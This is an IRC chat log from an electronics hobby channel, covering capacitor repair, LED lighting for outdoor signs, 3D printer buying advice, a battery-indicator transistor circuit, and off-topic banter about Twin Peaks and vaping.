Viper-7the yellow box one (tantalum cap) may well be required
Viper-7the tiny one sounds like a decoupling cap, which is quite unlikely to be needed
Some_PersonThe tantalum one is broken. I guess I'll need to buy a replacement
Viper-7and the big metal can one is a filter cap, also probably fine to run without
Some_PersonThe big one I think should be pretty easy to reattach
Viper-7protip, retin the pads with leaded solder before attempting to solder the cap back in place
Crackiif the solder on the pad gets nasty, put flux on it
Crackii've had pads with mixed solder become hard to get liquid again...
spludwell, if one of the pads runs to a ground plane, that can wick away your heat.
spludHeh, some dood with a computer and 3d printer, but cinder blocks for a bed stand:
Crackiwat, it's stylish
Hooloovo0what? I don't see a problem with that
Hooloovo0if it works it works
Crackiwait, 3d printed widgets on top of the cinderblock? uhhhhhhhh
Crackidude could have woodworked that just the same
Viper-7except screw working with dead tree
WelkinI love wood
Welkinthe smell, the feeling
Crackiyou're right, living tree is lots more fun to screw with
Welkinplus it is strong
WelkinI'm reminded of that recent cinderella live action film
Welkinwhere the sisters name cinderella by concatenating "cinder" and "ella", because she is covered in cinder from the fireplace
Welkinmaybe that is in the original story. I have not read it
Crackithe additives making it "flow" easier might start clumping...
restorersplud: sounds like me
restorersplud: except I'm still down a desk and a 3D printer, and my mattress-pad-on-the-floor wouldn't work well on cinder blocks...
restorer(and monthly bills still increasing)
Crackiplywood on cinderblocks
Crackior ikea tables
restorerI suddenly feel like Kiefer Sutherland in Fire Walk With Me adding up the total worth of my furniture and accessories...
Crackithat also appeared in fight club
Cracki(I think... at least an ikea scene)
restorerI used those $10 Ikea short tables (night stands?) for a few things
bongofuryI don't remember him doing that
restorerthe ones filled with sawdust, cardboard, and glue
bongofuryBut I do remember FWWM had David Bowie
restorerbongofury: in the Sheriff's Office in Montana, I believe after Isaac whathisname comes out of the office
restorerI mean, in the house functioning as the Office, with a bedroom as the office
bongofurydamn I have to rewatch, it's been at least 20 years
restorerI watched it last year after the new Twin Peaks
bongofurymy favorite scene is when they go to the diner in the beginning
restorerI haven't watched the missing scenes yet though
bongofuryI never watched the new TP, didnt want to ruin the old
restorerFWWM was kind of fun after the new TP
bongofuryEvery reboot of every franchise ever has sucked.
restorerbut it could also be the other way
Welkinthe idea of a franchise is sad
restorerI wouldn't even call it a reboot
bongofurySomeone in my friend network mentioned that FWWM was the only pre-requisite needed to watch the new TP and that the old one wasn't even necessary
restorerit's built as a full-on 25-years-later season 3, despite the difficulties in actors
Welkinit is the epitome of capitalism in entertainment
bongofuryHowever, unlike most writer/directors, nobody goes to see David Lynch movies for plot.
restoreroh, the old one is certainly necessary to "get" a lot of the littler things
Welkinpump out low quality (or even just mediocre) crap to rake in tons of money
bongofuryThe fact that it happened 25 years later after the black lodge midget said that, is pretty great tho
restorerI watched it too long ago and couldn't remember most of them
bongofurydefinitely pulls in a real-majic feeling
restorerI had to reread synopses
Welkina black lodge midget? what?
restorerand "too long ago" was only 2 or 3 years!
bongofuryWelkin, the show was surreal.
bongofuryon purpose, and properly, like a Dali painting in film.
WelkinI never watched twin peaks
bongofuryexcept instead of forms and shapes being distorted, it was behaviors and time/space
restorerit was weird and uncliche and hard to watch, but also must-watch
bongofuryThe most innocuous thing would be made to be intensely creepy
restoreror vice versa
bongofurythere were definite good guys and bad guys
restorerwhat would be sudden-jump scenes in today's movies are just long shots
bongofuryremember Laura's father revving his convertible in park while she screamed and the engine smoked?
bongofuryGod that was fuckin heavy
bongofuryLynch movies are just that: intense vignettes, not plots.
bongofurysame with Blue Velvet etc
bongofuryMulholland Dr
restorerI haven't understood [tried to understand] the duality between the one-armed man in and out of the Black Lodge
bongofuryslot machine. time bandit.
restorerbut at least this season had closures to some of the "big plots", such as they were, from the older seasons
bongofuryno clocks in the casino. I've said too much
restorergood to visit the Black Lodge before the casino, ahem
restorerdepending on how awake you are
restorerif there's ever any more Twin Peaks made, it will have to connect again to FWWM, just by some details in the last scene
Some_Person -- damage pics again with teensy cap included
bongofuryDon't go in there flirtin-withit. TheresssssNuthinGoodaBoutit.
bongofuryNow her name.. is Irene... and It Is Night.
Hooloovo0at least it's not an 0201
electrobotbongofury just linked to Twin Peaks: FWWM - Hap's Diner - YouTube
bongofurywaittress is such a hateful gar-fish
bongofuryLynch is a master. She holds her head at the correct tilt so her drawn-on angry eyebrows form a right angle with the bags under her eyes.
restorer"Once... fer about three days... jsut before her time... Teresa's arm went completely dead."
bongofuryslot mahine. time bandit
restorerthere's one episode of the new TP that's just... more than half of it is just an abstract art film, basically
LoshkiI like a more old-fashioned format. A beginning, middle and end, and in that order...
restorerthe play between Gordon and Albert is excellent, though
restorerhelps to bring the Lynchiness down to the ground a bit
bongofuryokay i'll watch it, restorer. I heard they used Angelo Badalamenti
restorerrefresh yourself on the original stories, though
restorerso many characters that come back in at the sides and don't do anything meaningful until more than halfway through
restorertook me forever to remember how Nadine fit in
bongofurythis video tale of their interaction to create Laura's Theme still blows my mind. It's what I try to grope at: synaesthesia
restorerit would be so much better to recognize the characters on first sight
bongofuryhi Loshki
electrobotbongofury just linked to Angelo Badalamenti explains how he wrote "Laura Palmer's Theme" - YouTube
restorereh, I started getting tired of Laura's Theme
winsoffAre LEDs superior to CFLs in every way other than cost? Even for office/shop lighting?
restorerdo they still not last as long? I believe that was the case the last time I looked into it
restorerand I don't know about heat tolerance
winsoffrestorer: Ah, are they not more robust?
restorerwinsoff: well, at least comparing an LED that's self-contained to a compact fluorescent that fits into a recessed can light (maybe with other circuitry external to the enclosed can, I don't know)
restorerbut that's a bit of an edge case there
drewmuttMy experience is that CFLs are generally more reliable, which I attribute to just being around longer.
Loshkihi bongofury. Altered Carbon and Counterpart are getting all the buzz lately
winsoffdrewmutt: ah? how so?
bongofurywinsoff LEDs beat other bulbs if you're life cycle costing
drewmuttCompletely based on subjective personal experience :P
bongofuryesp if you can match draw to RMS of 110V or whatever
winsoffInteresting. If I'm gonna make/retrofit some outdoor signs that can get down to -20, are 5050 LED strips going to work?
matlandLEDs are great if you consider the light thingy itself but errr
drewmuttThe warm-up time of CFLs kinda bugs me in my shop tho.
bongofuryLEDs yes, but some strips dryrot
matlandthe LED things you screw in a E27 socket are horrid in terms of lifetime
bongofuryeven the outdoor rated ones.
matlandincandescent outlast them in my experience
bongofuryI got cheap ass Chinese plasticizer migration in alkaline environments.
restorerI have to go dig up a 3M strip and hang my lights
bongofuryafter 3 days it rotted away from a previously flexible tube that led me to believe it was silicon. it wasnt
winsoffOh, weird.
bongofuryso in summary: get something with actual robust backing or make your own
drewmuttBurning Man was my introduction to that issue.
winsoffI just want to replace our shitty OFFICE sign with one made of wood, you know, so it looks hokey as fuck, but it seems like a cool idea.
bongofurybecause as soon as the plastic housing on these all weather dealies rots, the whole strip dies
bongofuryno thats a good idea
bongofuryget a bunch of linear LED bars, like solid hard bars with housings
bongofuryand yknow, try to avoid uplighting
winsoffOh, that would look good. Do you know what the best way to soften the light would be? I like uniform lighting compared to the horrors of "oh wow look at that n-ary cfl sign! wow i live in 1920!"
bongofuryyikes sorry 1 sec
winsoffI was thinking I could either make some hollowed-out sides to a box-style with some wood-burnt OFFICE bit, and then light it from all sides
matlandi get led bars with diffuser plastic from aliexpress
bongofury^ there. that's a metal housing that is sold as waterproof
matlandnot weatherproof tho
winsoffmatland: linkerino?
winsoffbongofury: fuck they're cheap
matlandhang on winsoff, purchase list huge
bongofuryfind things that look like that, if you need outdoor fixtures. That's all I'm saying. eof
winsoffbongofury: We also have like 300 feet of catwalk I need to light
winsoffAnd we currently use: guess
winsoffstrings of c7 "christmas" incandescent lights
winsoffI'm fucking spoiled by soft lighting displays
winsoffI just wonder where I'll tuck the driver boxes
bongofuryLoshki was around when I made my own high power LED lightbars
winsoffAnd then I have to worry about whether I want warm or cool lighting
matlandfor indoors i dont mind those
matlandat the price and all
bongofuryis that waterproof?
matlandthe light is very diffuse, no dots show
LoshkiI'm so old, God used to ask me if he could copy my homework...
matlandits not at all waterproof
bongofuryhe said outdoor sign
bongofurymaybe im drunk but that means IP67
winsoffCould I make some hacky waterproof solution
matlandi am not suggesting he use these
matlandbut its a something
winsoffIt's true
bongofurywinsoff srsly using the miracle of mass manufacturing is in your best interest here
bongofurydont reinvent the wheel unless you need custom rims
bongofuryim very proud of myself for that one
drewmuttBack in the day, we'd paint the inside white and point the lights at the walls to avoid hotspots.
matlandfor the price those bars go you could scrap the diffuser lol
matlandalthough there must be a cheaper way to get white transparant plastique
bongofuryLEDs require diffusion
bongofurythey're really spot-bright and cast hard shadows
winsoffdrewmutt: yeah, that's a common situation
matlandits just one white plastique thing in those i linked but it works good enough
bongofurythe light is coherent, but that's not always advantageous
bongofuryif you can pay for a lens that diffuses well, do so
drewmuttScruff up some plex?
redrabbitmatland: are you french
bongofuryesp for evenly lighting a sign
winsoffdrewmutt: lol pex, jesus
matlandno i'm not redrabbit
winsoffthat makes sense, but it's just
bongofurydrew - it's different
winsoffit seems greasy
matlandbelgian, dutch speaking
bongofurythe middle has more photons than the ends
bongofuryso you try to spread that out to the ends
drewmuttMy answer to everything is frosted acrylic, so I dunno..
winsoffDrug dealer isn't paid?
winsoffFrosted acrylic.
bongofury"COB" is chip on board, and it's a bunch of teensy LEDs ganged up on a board. They almost always require a heat sinking mouting
bongofuryso if you look at both brite strips we linked, they're COB's
drewmuttHard to shoot you when he can't spot you behind all that diffusion..
bongofurysome will fry if you apply any forward voltage without a heatsink attached
winsoffdrewmutt: pfft
bongofuryso be aware of that
winsoffbongofury: ah, interesting. wood's SUCH A GREAT HEATSINK that this will be interesting to deal with
winsoffAre there any strips I can just "turn the fuck down"
bongofuryyeah if you buy a premanufactured metal expensive housing like I suggested, you can catalog-hunt for desired briteness etc
winsoffbongofury: I'm just being facetious, because if I'm going to be stuffing things like that into a wood housing, I don't want to be dumping heat, though I can't see them getting TOO hot
bongofurythey will have internal power supplies matched to the fixed bar
winsoffah neat
bongofurythats why you buy weatherproof fixtures
bongofuryso you can vent the chase where they live, or it can have sideways-driven rain hit it
bongofuryapproved for direct contact w moisture
winsoffalways thought "moisture" was a bit of a weasel word
bongofuryI would say sumbersible but idk what PSI its rated for
bongofuryit's about contact
bongofuryso if something is shielded in a housing, it doesn't need to be as bomb-proof as a shack at the end of a pier.
bongofurythats basically the difference in the ratings, in insurancese
bongofuryip-65 you can spray water onto and it will probably survive, but it's really just resisting humidity otherwise.
bongofury[humidity and temperature and salinity etc]
kmcsigh... SDR# takes like 20 seconds to start up
banandanabeep boop boop bop boop boop bop
Viper-7reckon this is a holder for mini blade fuses, or a mini holder for regular blade fuses? :P
kmcbanandana: funny, I'm listening to WWV right now
Mad7ScientistDocScrutinizer05, I sold a 1999 computer for $145 :)
bongofurytruck accessories seem right up your alley too, winsoff.
Mad7ScientistThey buyer is going to remove the CDrom and put a 5.25 floppy drive in it
bongofury300W, $160
winsoffhmm, interesting
winsoffgood point, though
kmcI made a wire HF antenna
winsoffViper-7: what are you doing that can't use the fusebox's extra ports? =P
Viper-7winsoff: making a portable battery powered adjustable power supply unit
Viper-7the output is CC/CV, but i'd like some protection on the battery side too, just incase
phinxyCan you purchase top of the line soldering station heating elements and tips to DIY the station itself and save yourself a lot of the cost?
kmcI can now get it on 5/15 MHz as well as 10
winsoffphinxy: it's way easier to just back up your buddy's truck to the loading bay at work
winsoffand just 'help them' 'get rid of' an 'unserviceable' model
Crackithere was a diy soldering iron that used good tips (those that heat very close to the tip)
Viper-7damn thats chep
hiteklol oven just caught on fire
Viper-7hitek: that takes skill
winsoffViper-7: jesus, i was thinking of getting a set; thanks
winsoffin for a carfire
hitekturned it on to 425ish, noticed some smoke, opened it up, SNAP the bottom element went pop in a spot
hitekfire, blew it out, element in an inch long section was glowing white
winsoffthe fuck? why?
hitekwhite debris all over that spot
Crackifood dripped on it
winsoffViper-7: do you still have your prusa i3 knockoff?
winsoffhow's it doing?
Viper-7still going well
hitekyeah probably some oil or something
Viper-7still working on converting it to dual extruder
hitekthere was no food in the oven at the time, but I had two cast irons stored it in from the other night that I put in when the oven was still warm
Viper-7mounting both direct drive extruders to the x carriage has proved a challenge, but i think ive got that sorted now, just waiting for parts to arrive
hitekso something must have dripped into that section of the element
winsoffViper-7: that's a thing? What's the utility of dual extrusion, other than an assumed faster build time?
Viper-7winsoff: same build time, different filaments
Viper-7so multiple color prints, or embedded conductive plastic, or using dissolvable support material
Viper-7yup, its like, dozens of ohms per inch, but for sensors and even signal LEDs, works great
winsoffthat's cool as fuck
winsoffViper-7: are you using that mostly for cheap project enclosures?
tawrwinsoff: different colors different types of plastic
tawrthere is SANDSTONE, carbon fiber, graphite, flexible, conductive, translucent, clear, polycarbonate, abs, pla, and a bajillion more
winsofftawr: are you fucking with me right now
Crackiplastic + x
Viper-7winsoff: largely yeah enclosures, and a lot of mounting plates
tawrdual extruders let you, say, load up polycarbonate and ninjaflex or tpu flexible (like silicone) filament, and print flexible joints into a print
Crackiexcept for the non-funky stuff, that's whatever polymer has these properties and melts at the achievable temperature
restorerI wonder how many people have made (custom) pasta 3D printers
winsofftawr: since when can 3d printing
winsoffmy mind is fucking blown open right now
winsoffi thought it was limited to pla and abs
tawryou thought wrong
winsoffwhy the fuck don't i have
winsoffa 3d printer
tawrbecause you're a nub
Crackinot even PLA is pure PLA. everyone experiments with different blends and whatnot.
winsoffguh now i've got some money in the bank
winsoffi've been thinking more and more about blowing cash on one
tawrnow, there are a lot of nuances winsoff. a remote-extruder (bowden tube) can't print flexible filaments, for instance
tawrdude, winsoff
restorerartisanal filament
Viper-7also yeah, for hand held stuffs, printing a layer of flexible rubber stuff makes for a nice grip
tawrthere's one model that, as long as size isn't an issue for you
tawris pretty much the best ready-to-go premade
tawrthey're almost all kits, this one is pre-made, all metal, etc. sec
intranickdont worry tawrs a fucking nub too
drewmuttDidja all see the hackaday PLA glue gun? Seems fun.
Viper-7winsoff: yeah thats why i've been having a bit of a hard time going to dual extruder, i use direct drive not bowden style, so i can print with basically anything - but that means a lot more weight hanging off the x carriage
winsoffintranick: lolol
winsoffViper-7: semiconductive plastic when, though
tawrwinsoff: how much money do you want to spend?
Viper-7winsoff: one nifty use is captouch sensors integrated into your build
Crackifixed extruder, xy-moving platform. haven't seen that before, but might be worth it
tawri'd recommend not buying something that's _ALL_ your money, so you can get upgrades / niceties for it
winsofftawr: i'm a cheap loser, like 300-500, i think
tawrthat is big bucks for printing winsoff
Cracki... these days
tawrif you said 120 or something.. that's cheap
intranickyou can get a cheap A8 for $175 or so thats plenty for screwing around
winsoffthen like, 200 to 300, so i can maintain the tightness of my ass
tawr300-500 will get you a fucking awesome printer
intranickbut wont do any fancy tricks
Crackiyou can still spend 2-3k if you want
restoreroh good, I fit into the 'cheap' category and not the 'heh' bucket
tawrwinsoff: nice upgrades for any printer is a pyrex build sheet (which is perfectly flat), then putting buildtak or kapton tape on top of that as the build surface, a bltouch auto-leveling sensor, etc
Viper-7last one is basically my printer
intranicki actually just got another A8 in
Viper-7first one is what i'd get knowing what i know now
winsoffpyrex is borosilicate glass, right?
intranickputting it together tonight
intranickso ill be back up to 2 piece of shit A8 printers
intranickwhich are actually not the worst thing in the world
Viper-7yes, but i dont find the point in using a glass bed if you're laying down kapton (which you should)
Viper-7i have an alu bed and it still gives a glassy finish because of the kapton
intranickViper-7: i put kapton down on the aluminum hotbed
winsoffi'm not trying to assume anything--what does auto-leveling actually mean? does something in 3d printing set off the z-alignment?
intranickwithout glass
Crackiprint beds could move slightly, depending on build
Crackiin principle, leveling once should be good enough, however you will move and manipulate the print bed a lot
winsoffah, interesting. Viper-7 on that first listing, wtf is a laser head
Crackiremoving prints, cleaning it, etc
Viper-7winsoff: the initial distance between nozzle and bed is critical, must be with 0.1mm or better - just loading filament into the extruder can move and bend things enough to cause it to go out of alignment
winsoffahh, i see
Viper-7you can either recalibrate it periodically by hand, or have an auto-levelling printer that just sorts it itself (using an inductive pickup to "see" the bed)
Crackilaser head prolly means you can swap out the extruder and swap in some laser for engraving and cutting
intranickthis is actually my third A8. tawr would laugh at me
intranicki broke one of my other two tho, and am replacing it - parting out the broken one
Viper-7note the first link i gave is actually bowden style, which i dont generally like, and cant do flexible materials
tawr3 printers, and you can only print benchys. SAD.
Viper-7but that style of frame is great
intranickwhat the fuck is a benchy?
tawra 3dbenchy intranick
tawrthe fuck is wrong with you
winsoffis that the boat
winsoffi'm on slow internet while i update windows
intranickhaha actually i can print lots of shit
winsofffuck yeah i knew what it was
tawralso, winsoff
Viper-7still bowden, but thats niice
winsofftawr: what was the printer you had in mind?
tawrdo you know about thingiverse? go there now. millions of 3dprint file for free
winsoffViper-7: the question is, could you buy horrible individual parts on aliexpress and put them together for less than that, or are they scraping the bottom with economy of scale?
intranicktawr: im actually thinking .. thinking.. about another smaller 3d printer for my office at work
intranickjust for shits and giggles
Crackieconomy of scale.
winsoffintranick: do hydroponic leafy greens instead
tawrwinsoff: dont do that
tawrbuy a kit ore pre-made
Viper-7winsoff: i got my printer in a kit for around the $200 mark, when i opened the box and saw the array of parts inside, i actually felt guilty about how cheap it was :P even at aliexpress prices, i couldnt get all that for the same price outside of kit form
winsoffah, interesting.
Viper-7plus well, theres a lot to learn and take in when building your first printer, you dont want to be rolling your own at that point.
tawrwinsoff: did you go to thingiverse? go there now
Crackilots of dildos and shit
tawryeah, buy a kit. it's not negotiable. seriously, you dont want to do that to yourself.
Viper-7a couple of my things :P
winsoffah dude, speaking of dildos
winsoffI had an idea that you could just 3d print something that accepts a nintendo switch joycon
winsofflike, clips in
winsoffboom, macguvibrator
winsoffit has the dual nature of also insulting apple users if they're not comfortable with butt stuff
winsofftawr: these are a lot more complex thanI remember
winsoffdamn, son
winsoffViper-7: did you say that most cheaper printers have an issue with rigidity?
kmcwinsoff: like the Rez trance vibrator?
Viper-7kinda sorta
winsoffkmc: a bit, but way more expensive
Viper-7winsoff: at high print speeds, they can get a 'wobble' during direction changes, which can translate into a ripple in your print
kmcjust don't put anything up your butt that doesn't have a flared base
Viper-7but especially for a beginner, thats not really an issue - just turn the speed down a bit
winsoffah, understandable.
Viper-7and/or play with the acceleration controls
Viper-7i see no problem with this as babbys first printer
Viper-7the only difference between that and my printer, is that i use a ramps 1.4 controller (arduino mega shield), whereas that uses a single integrated controller board
Viper-7much of a muchness there really
restorerViper-7: I'm saving all these links with your comments
Viper-7the ramps board isnt anything special
restorerparaphrased, so I might not have any idea what's going on when I stumble on them in a month or 5 years
Loshkikmc: I was just cleaning it in the shower and I fell backwards onto it, Doctor
winsoffViper-7: what does that printer lack that other printers have, in this case? looks like it's not enclosed--I assume that the bed isn't heated, etc?
Viper-7the bed is heated
restorerdon't ride a bike in a Speedo
Viper-7its an acrylic frame, which is only a downside when trying to print at high speeds - and yeah its not enclosed, but you're often looking at many times that price for a proper enclosed design
Viper-7the important stuff is all there
winsoffmakes sense
winsoffalso, while we're here, i can't remember who was recommending them, but i see i've got an aneng an8008 multimeter in my cart
Viper-7heated bed, direct drive extruder, dual z axis motors, lcd with stand alone print-from-sd capability, controller with usb, etc
Loshkiwinsoff: also, you don't seem to realize just how much time you're going to waste fiddling with it, you don't want the added overhead of waiting for all the bits to come together and debugging that mess before you even get started
jaggztew.. acrylic bed?
jaggztcan replace that sometime, if needed, with boro
winsoffand they mentioned you might have some criticisms of using those; why do you prefer the vicis for cheap meters?
Viper-7jaggzt: no, acrylic bed carrier
winsoffLoshki: good point.
jaggztokay.. phew.
jaggztdidn't know people even printed on acrylic
Viper-7they dont
Viper-7winsoff: you may note in the specs there, "recommended nozzle movement speed: 35-40mm/s"
jaggztunits 43cm in
jaggzt.units 43cm in
Viper-7thats fairly slow / conservative, both for that design, and in general for 3d printers
Viper-7jaggzt: !
Johnjaysay i just took this little plate out of my oven/range to clean under it and inspect a little light that came loose
Johnjaynow my stove doesn't turn on at all. but the breaker to it didn't flip.
Johnjayany ideas what happened?
Viper-7winsoff: printing at 60mm/s and travelling at 120mm/s is fairly common, and that printer will handle that, but you'll start to see some distortion in the print
Viper-7!units 43cm in
electrobotViper-7: 43cm = 16.929134 in
jaggztlooking for the bed size actually.. hrm
winsoffJohnjay: is the stove still plugged in? i don't know if you moved it to get to the plate
jaggzt!units 200mm in
electrobotjaggzt: 200mm = 7.8740157 in
jaggztoh it's small
Johnjaywinsoff: there's just a little plate where the dials were and a small light had come loose from where it was glued
jaggztgood for most of my projects though
Johnjaybut after i put it back on now not even the vent works
Johnjaydid i short something?
winsoffJohnjay: how new is the stove? could be
Johnjaylike a hundred million years
Viper-7jaggzt: pretty much all printers in the $200-400 range will be around the 220mm x 220mm build area mark
Johnjaythe plate is screwed down on a bracket on one of the knobs
Johnjaybut i wouldn't guess any of that is conducting much electricity
winsoffWhy was that size chosen?
Johnjayi mean it's just a tiny lightbulb the size of an LED
Johnjaywhy would fiddling with it make the entire range top short out?
winsoffI'm curious why it seems to be standardized. Is getting straight ways for the x-y harder at higher lengths?
winsoffJohnjay: if it was shorting, it would probably blow the breaker
Johnjaybut i checked the breaker, it's fine.
winsoffdid you check it visually, or did you check it by flipping it fully off and back on?
Johnjaydid i short something internally? Do stove/range tops have their own fuses?
Viper-7winsoff: increasing the x/z size means the belts are longer, so accuracy can suffer - increasing the y size means the frame must be more rigid
Johnjayvisually why?
Johnjayshould I flip it off and on?
winsoffit depends on the product, and the breaker might just not be very good at telling you it's tripped visually. i usually just reset them, but if it's already tripped, you're just going to trip it again
Viper-7typically the max height for these designs is around 200mm before the whole print gets too wobbly as the bed moves it for the z axis
Johnjaywinsoff: is that something you've personally encountered with some breaker boxes? i find it hard to believe
Viper-7and having a cube-ish size for the x/z makes sense
Johnjaybrb trying it
SmokinGruntsOHHH FINALLY! New server up and running!
winsoffViper-7: ah, good point. is there any way to add on to designs, by the way? can you print, let something cool, and then 'weld' to it?
winsoffoh hey kapton
winsoffSmokinGrunts: what's it running?
SmokinGruntsubuntu 16.04.3 LTS headless server
winsoffalpine or go home
Viper-7thats some of the wide kapton to use to cover the bed with, i use a 100mm roll (yes that means theres a join in the middle, but its not a big issue)
Skreeis it true to say a standard bipolar npn transistor needs 0.6v base voltage to turn it on?
Viper-7re joining stuff - kinda sorta - its too hard to try and 'print more' onto an existing design, you cant stick it back down to the bed - but you can certainly print different parts and just glue them
Viper-7melting/welding them together isnt generally that useful
Viper-7Skree: roughly
winsoffOkay, I better leave this nightmare to update for a minute
Skreeneed a ~9v battery flat indicator - am thinking "led no longer on = battery flat" - 2 4.3v zener diodes in series, npn transistor, led and a resistor = 9.2v ish
Viper-7winsoff: one thing you can do, is print part of a model, then stop, have the print head return to 'home', swap filaments, then resume the print - but this only works for printing *whole* new layers on top
winsoffi can't believe i still haven't learned that i can't talk in this channel without eight more things going into my aliexpress cart
Viper-7haha :P
Johnjaywinsoff: ok i figured out the problem, thanks. the breaker indeed tripped, and it had a little orange color in it, but i tested it in the dark by feeling that all the switches were still in place
Johnjayso user error i guess
winsoffJohnjay: happens all the time. did it retrip when you tried to turn it on? it's tripping for a reason. I have to head out, but don't electrocute yourself.
Viper-7Skree: breakdown voltage of a zener isnt a fixed point, it will start leaking a little current before its rated voltage, and pass a lot more a bit above
Viper-7Skree: i'd sooner just use a voltage divider
Viper-7and possibly a darlington setup to boost the current back up to a usable level
Skreeonly needs to drive a red led
Viper-7Skree: i mean like a 1M or higher potentiometer
Viper-7so it doesnt draw any notable current from the battery
Skreewould only be active at power on anyway and a ma or 20 is negligable
Johnjaywinsoff: no. i'm guessing with all the wires going to the 3 knobs in the little box i must have shorted one. or something
Johnjayi don't know what tripped the breaker tbh
Skreei'll look into using a pot
Skreeseems ideal
Skreenever thought of that
electrobotViper-7 just linked to
Viper-7dodgy little circuit, but i've used very similar before
Viper-7can it be done with less than 3 transistors? probably :P
Viper-7but that gives a nice hard edge for driving the led when the threshold is hit
Viper-7with that resistance, at 7.4V its fully off, at 7.3V its fully on
Crackinice circuit to learn from
Skreemight have to try the single transistor route due to space
Skreealso due to needing a suggestion for q3
Skree<- supernoob
SmokinGruntsrofl that fuck hijacked the couchdb instance and injected a bitcoin miner
Crackicouchdb, the thing that runs your javascript
Crackisure, why not, but please at least sandbox it and give it resource limits
Viper-7left to right, 2N2222, 2N2907, 2N7000
Viper-7or BC547/BC557/BS170
Viper-7or BC817/BC807/SI2300 :P
Viper-7latter being SOT23 SMD options
VanUnamedhi viper7
Cracki5 ohms rdson, 0.2 amps, lol
VanUnamedi wonder, may I build a "simple" 3g signal amplifier
Crackiwhat's the advantage of these things compared to one with orders of magnitude better rdson and current
VanUnamedwonder why everything costs so much, Today I went to check out grass trimmers, 140 eur
Crackiget a goat
Crackirent a goat even
Viper-7Cracki: the 2N7000, not much, just that its ancient, so very widely available
VanUnamedI also found washing machine and fridge one miele and fridge ariston both 350 eur used total
Crackigood argument :P
Viper-7Cracki: also quite low gate capacitance
VanUnamedCracki: that would be if you had only a bit of grass, I have 25 years of grass
Crackithere are turbogoats
kmc25 years of grass
VanUnamedi am sure used miele washing machine is 100 times better than cheap chinesium one.
Skreethe BC transistors are a lot cheaper
Crackigoogle goat simulator devil goat
Skreethanks! i'll be using that one
VanUnamedso in theory I should be grateful for the someone that ties a cow to graze in my extravilan land?
VanUnamedguess what
VanUnamedwhen I find who that is
VanUnamedhe's gonna get shot.
VanUnamedtoday I also found a nice vacuum cleaner for just 40 eur
VanUnamed700w performance of 2,000. Hepa too. I doubt about that claim, however I would like to build some kind of circuitry
VanUnamedI have a cheap circular saw that has a "soft start" circuit, it starts slow and then picks up speed
VanUnamedi dont know what circuit that is
Crackiwhat kinda motor?
Viper-7Skree: might be more sane to use a 100k pot, and a 900k-ish resistor on the input side
kmcACTION zones out to radio noise until she starts to hear voices that aren't there
electrobotViper-7 just linked to
CircadianRebelis it semi-modern? probably a microcontroller PWM'ing a mosfet, since that's how most tools work anymore
VanUnamedsemi modern yeah
VanUnamedI want to build something like that for my vacuum
VanUnamedso I dont get to be forced to have much more power than I can afford lol
Skreeyeah i can get 100k trimmers cheap
VanUnamedalso, I am starting to get annoyed with my new country works lol
VanUnamedI went to 3 different post offices to be told they dont have the documents.
Viper-7also its fine to mix & match any of the components i mentioned
Viper-7or really, any other NPN, PNP and N-Ch transistors
VanUnamedplus, the solar company where i ordered stuff, i started to have doubts that it was even still in business so I phoned today, they said my stuff has been delivered and should be with me tomorrow. and I have to pay the order to the courier
VanUnamedwe're talking 500 euro of stuff
VanUnamedit's the equivalent of 2,000£ in england. Paid at the door
Skree2n7000 is cheaper than bs170 iirc
Viper-7yeah, and its fine to do BC547+BC557+2N7000
Viper-7same as BC547 vs 548 vs 549 doesnt matter
VanUnamed This seems very smart. May i use a MJE13009 as I have so many of them instead
Skreewill be handy to have the better circuit for volt droop under load
VanUnameddifference being just that mine are up to 400V
chisightis there a "consumer electronics" channel, or is this it?
Viper-7Skree: FYI, that circuit will burn about 90uA while connected to the battery, not a huge amount, but would drain eg a 9V PP3 battery in a bit over a year
Viper-7chisight: ##hardware perhaps
chisightViper-7: thanks. trying there.
Skreeyeah 90iA is nothing in the face of the about 1a drain of the load
Viper-7fwiw the 100k resistor can be traded up or down to trade off current consumption vs how 'snappy' the circuit will be
Viper-7eg with a 1M resistor, the circuit will only draw more like 10uA, but will have about an 0.3V window with the LED 'partially on'
Viper-7with a 10k resistor, the circuit will draw more like 1mA, but will have less than a 0.05V window
Viper-7the current value of 100k and around 0.1V seems a decent compromise
Skreeyeah doesn't need to be that accurate
spludI could see someone commanding that sort of price for an older computer because actual serial and parallel
spludcrap, scolled back 90 minutes.
zap0you can get serial/parallel cards
splud(this was in response to sale of 1999 computer for US$145)
spludCould see someone needing to run older sw that hadn't been updated.
Viper-7thats what virtual machines are for :P
VanUnamedViper-7: is that normal that even if vape I keep spitting out grey matter outta my lungs
spludgrey matter is brain.
spludaka wetware.
Viper-7but yeah, theres still some demand for old machines with parallel ports for stuff like CNC controllers
zap0i wonder if you can get a PCI card that has like piles of ADCs on it... a sound card typically only has stereo in
spludcrudzy slude is another matter.
Viper-7VanUnamed: if you've just traded vaping for smoking, yeah you'll keep bringing up black shit for up to a month
spludzap0 it'd be straightforward to fab a PCI card with a bunch of ADC.
Viper-7VanUnamed: same thing will happen when you quit smoking, without the vape :P
spludWindoz drivers across the spectrum of release versions for same would be a different matter.
Skreethat coughing up crap can continue for longer than a month
VanUnamedtoday I got one liquid with 30mg nicotine
VanUnamedand then I bought a big bottle of zero nicotine fluid
VanUnamedsame taste
VanUnamedmuch cheaper lol
Viper-7VanUnamed: in what vape?
spludpleasant. Sounds rather like a habit not to take up in the first place.
VanUnamedtobacco taste.
Skreei used to buy juice and then dilute it a bit with pg or vg
Viper-7i use sub-ohm coils, juice with 24mg nicotine is utterly unusable
spludbeh, need to go in the house. No sooner do I turn my attention to IRC...
Viper-76-8mg is about equivalent to 'red' cigarettes
Skreei used to vape 24mg 50/50 at 0.8 Ω on a mechanical
Viper-7otherwise known as 16mg
Viper-7Skree: daymn
Skreenow i vape 100% pg 12mg at about 8 watts
spludbeh, not terminology I need to know.
Skreeand 5w in a 14mm RDA
VanUnamedwhats the difference between 1.8 omhms and sub ohm ones
Viper-716mg is actually 1.6mg nicotine, 16mg tar, but yeah :P
VanUnamedin terms of smokin
Viper-7VanUnamed: denser vapor
Skreedouble or more the power
Skreemuch more vapour, more heat
VanUnamedit means you smoke like a train?
Viper-7choo choo!
Skreei used to smoke unfiltered hand roll
kmcit gets the ladies excited
VanUnamedi would love to stink everything up a bit
VanUnamedme too Skree
Skreeso i needed a beastly vape to start off
VanUnamedthats how I got COPD
Viper-7i dont really understand the throat hit chasers
VanUnamedand nitric vapours and tons of pot and lolol
Viper-7i vape 100% VG, at about 6mg
Viper-7and its very nicely replaced cigarettes for me
kmcViper-7: yeah I had a parallel port driven laser cutter
Skreehow many ml per day?
kmcas in the computer would output stepper waveforms on the ppt
